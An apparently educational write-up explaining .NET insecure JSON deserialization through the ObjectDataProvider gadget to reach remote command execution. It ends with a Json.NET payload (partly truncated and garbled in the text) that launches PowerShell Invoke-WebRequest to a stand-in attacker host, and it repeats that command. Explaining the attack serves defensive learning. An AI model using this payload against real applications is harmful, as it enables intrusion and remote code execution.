This attack is an example of a .NET insecure deserialization vulnerability that results in remote command execution using PowerShell. It occurs when an application deserializes untrusted JSON input and allows attackers to control which .NET objects are created during the process.
The attack begins when a vulnerable .NET application processes JSON data that includes type metadata such as the $type field. If the application does not restrict allowed types, the attacker can force the runtime to instantiate arbitrary .NET classes instead of simple data objects.
In this case, the attacker abuses the System.Windows.Data.ObjectDataProvider class. This class is commonly used in WPF applications for data binding, but it becomes dangerous during deserialization because it can automatically invoke methods as part of object initialization.
Through the crafted JSON payload, the attacker instructs the application to create an instance of System.Diagnostics.Process. This class is designed to start system processes and is not meant to be exposed to untrusted input. The payload specifies the method name Start, which causes the process to be executed automatically during deserialization.
When the Start method is invoked, the application launches PowerShell, a powerful command-line tool that is installed by default on Windows systems. Attackers frequently use PowerShell because it is trusted by the operating system and often allowed through security controls.
The PowerShell command includes Invoke-WebRequest, which sends an HTTP request to an attacker-controlled server. This outbound connection is typically used to confirm that the target system has been compromised, download additional malicious payloads, or retrieve further commands from a command-and-control server.
At this point, the attacker has achieved code execution with the same privileges as the vulnerable application. From here, they can escalate the attack by downloading malware, exfiltrating sensitive data, establishing persistence, or moving laterally across the network.
This attack works because the application treats deserialization as a safe data operation, while in reality it allows object creation and method execution. Without strict controls, deserialization becomes equivalent to executing attacker-supplied code.
The key lesson is that deserialization in .NET is not just about parsing data. If untrusted input is accepted and dangerous types are not restricted, it can directly lead to full system compromise. This makes insecure deserialization a critical security issue and a recurring entry in real-world attacks and vulnerability reports.
{
"$type": "System.Windows.Data.ObjectDat
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e3
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e08
"$values": [
"Cmd",
"/c powershell -command \"Invoke-WebRequest -URI
http://attacker-server.com\""
]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e08
}
}
powershell -command \"Invoke-WebRequest -URI http://attacker-server.com\"